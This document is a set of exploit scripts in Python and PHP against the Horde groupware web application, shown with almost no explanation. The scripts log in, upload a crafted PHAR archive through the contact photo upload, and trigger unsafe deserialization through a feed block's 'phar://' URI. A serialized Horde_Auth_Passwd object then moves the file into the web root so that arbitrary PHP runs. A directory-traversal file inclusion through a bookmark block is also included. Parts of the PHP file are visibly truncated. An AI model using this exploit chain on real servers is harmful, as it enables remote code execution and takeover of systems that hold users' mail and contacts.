## exploit-phar-loading.py #!/usr/bin/env python3 from horde import Horde import requests import subprocess import sys TEMP_DIR = '/tmp' WWW_ROOT = '/var/www/html' if len(sys.argv) < 5: print('Usage: ') sys.exit(1) base_url = sys.argv[1] username = sys.argv[2] password = sys.argv[3] filename = sys.argv[4] php_code = sys.argv[5] source = '{}/{}.phar'.format(TEMP_DIR, filename) destination = '{}/static/{}.php'.format(WWW_ROOT, filename) # destination (delete manually) temp = 'temp.phar' url = '{}/static/{}.php'.format(base_url, filename) # log into the web application horde = Horde(base_url, username, password) # create a PHAR that performs a rename when loaded and runs the payload when executed subprocess.run([ 'php', 'create-renaming-phar.php', temp, source, destination, php_code ], stderr=subprocess.DEVNULL) # upload the PHAR with open(temp, 'rb') as fs: phar_data = fs.read() horde.upload_to_tmp('{}.phar'.format(filename), phar_data) # load the phar thus triggering the rename horde.trigger_phar(source) # issue a request to trigger the payload response = requests.get(url) print(response.text) ## exploit-phar-loading.py EOF ## create-renaming-phar.php #!/usr/bin/env php _lockfile, $this->_params['filename']) if $this->_locked class Horde_Auth_Passwd { // visibility must match since protected members are prefixed by "\x00*\x00" protected $_locked; protected $_params; function __construct($source, $destination) { $this->_params = array('filename' => $destination); $this->_locked = true; $this->_lockfile = $source; } }; function createPhar($path, $source, $destination, $stub) { // create the object and specify source and destination files $object = new Horde_Auth_Passwd($source, $destination); // create the PHAR $phar = new Phar($path); $phar->startBuffering(); $phar->addFromString('x', ''); $phar->setStub("setMetadata($object); $phar->stopBuffering(); } function main() { global $argc, $argv; // check arguments if ($argc != 5) { fwrite(STDERR, "Usage: \n"); exit(1); } // create a fresh new phar $path = $argv[1]; $source = $argv[2]; $destination = $argv[3]; $stub = $argv[4]; @unlink($path); createPhar($path, $source, $destination, $stub); } main(); ## create-renaming-phar.php EOF ## horde.py import re import requests class Horde(): def __init__(self, base_url, username, password): self.base_url = base_url self.username = username self.password = password self.session = requests.session() self.token = None self._login() def _login(self): url = '{}/login.php'.format(self.base_url) data = { 'login_post': 1, 'horde_user': self.username, 'horde_pass': self.password } response = self.session.post(url, data=data) token_match = re.search(r'"TOKEN":"([^"]+)"', response.text) assert ( len(response.history) == 1 and response.history[0].status_code == 302 and response.history[0].headers['location'] == '/services/portal/' and token_match ), 'Cannot log in' self.token = token_match.group(1) def upload_to_tmp(self, filename, data): url = '{}/turba/add.php'.format(self.base_url) files = { 'object[photo][img][file]': (None, filename), 'object[photo][new]': ('x', data) } response = self.session.post(url, files=files) assert response.status_code == 200, 'Cannot upload the file to tmp' def include_remote_inc_file(self, path): # vulnerable block (alternatively 'trean:trean_Block_Mostclicked') app = 'trean:trean_Block_Bookmarks' # add one dummy bookmark (to be sure) url = '{}/trean/add.php'.format(self.base_url) data = { 'actionID': 'add_bookmark', 'url': 'x' } response = self.session.post(url, data=data) assert response.status_code == 200, 'Cannot add the bookmark' # add bookmark block url = '{}/services/portal/edit.php'.format(self.base_url) data = { 'token': self.token, 'row': 0, 'col': 0, 'action': 'save-resume', 'app': app, } response = self.session.post(url, data=data) assert response.status_code == 200, 'Cannot add the bookmark block' # edit bookmark block url = '{}/services/portal/edit.php'.format(self.base_url) data = { 'token': self.token, 'row': 0, 'col': 0, 'action': 'save', 'app': app, 'params[template]': '../../../../../../../../../../../' + path } response = self.session.post(url, data=data) assert response.status_code == 200, 'Cannot edit the bookmark block' # evaluate the remote file url = '{}/services/portal/'.format(self.base_url) response = self.session.get(url) print(response.text) # remove the bookmark block so to not break the page url = '{}/services/portal/edit.php'.format(self.base_url) data = { # XXX token not needed here 'row': 0, 'col': 0, 'action': 'removeBlock' } response = self.session.post(url, data=data) assert response.status_code == 200, 'Cannot reset the bookmark block' def trigger_phar(self, path): # vulnerable block (alternatively the same can be obtained by creating a # bookmark with the PHAR path and clocking on it) app = 'horde:horde_Block_Feed' # add syndicated feed block url = '{}/services/portal/edit.php'.format(self.base_url) data = { 'token': self.token, 'row': 0, 'col': 0, 'action': 'save-resume', 'app': app, } response = self.session.post(url, data=data) assert response.status_code == 200, 'Cannot add the syndicated feed block' # edit syndicated feed block url = '{}/services/portal/edit.php'.format(self.base_url) data = { 'token': self.token, 'row': 0, 'col': 0, 'action': 'save', 'app': app, 'params[uri]': 'phar://{}'.format(path) } response = self.session.post(url, data=data) assert response.status_code == 200, 'Cannot edit the syndicated feed block' # load the PHAR archive url = '{}/services/portal/'.format(self.base_url) response = self.session.get(url) # remove the syndicated feed block so to not break the page url = '{}/services/portal/edit.php'.format(self.base_url) data = { # XXX token not needed here 'row': 0, 'col': 0, 'action': 'removeBlock' } response = self.session.post(url, data=data) assert response.status_code == 200, 'Cannot reset the syndicated feed block' ## horde.py EOF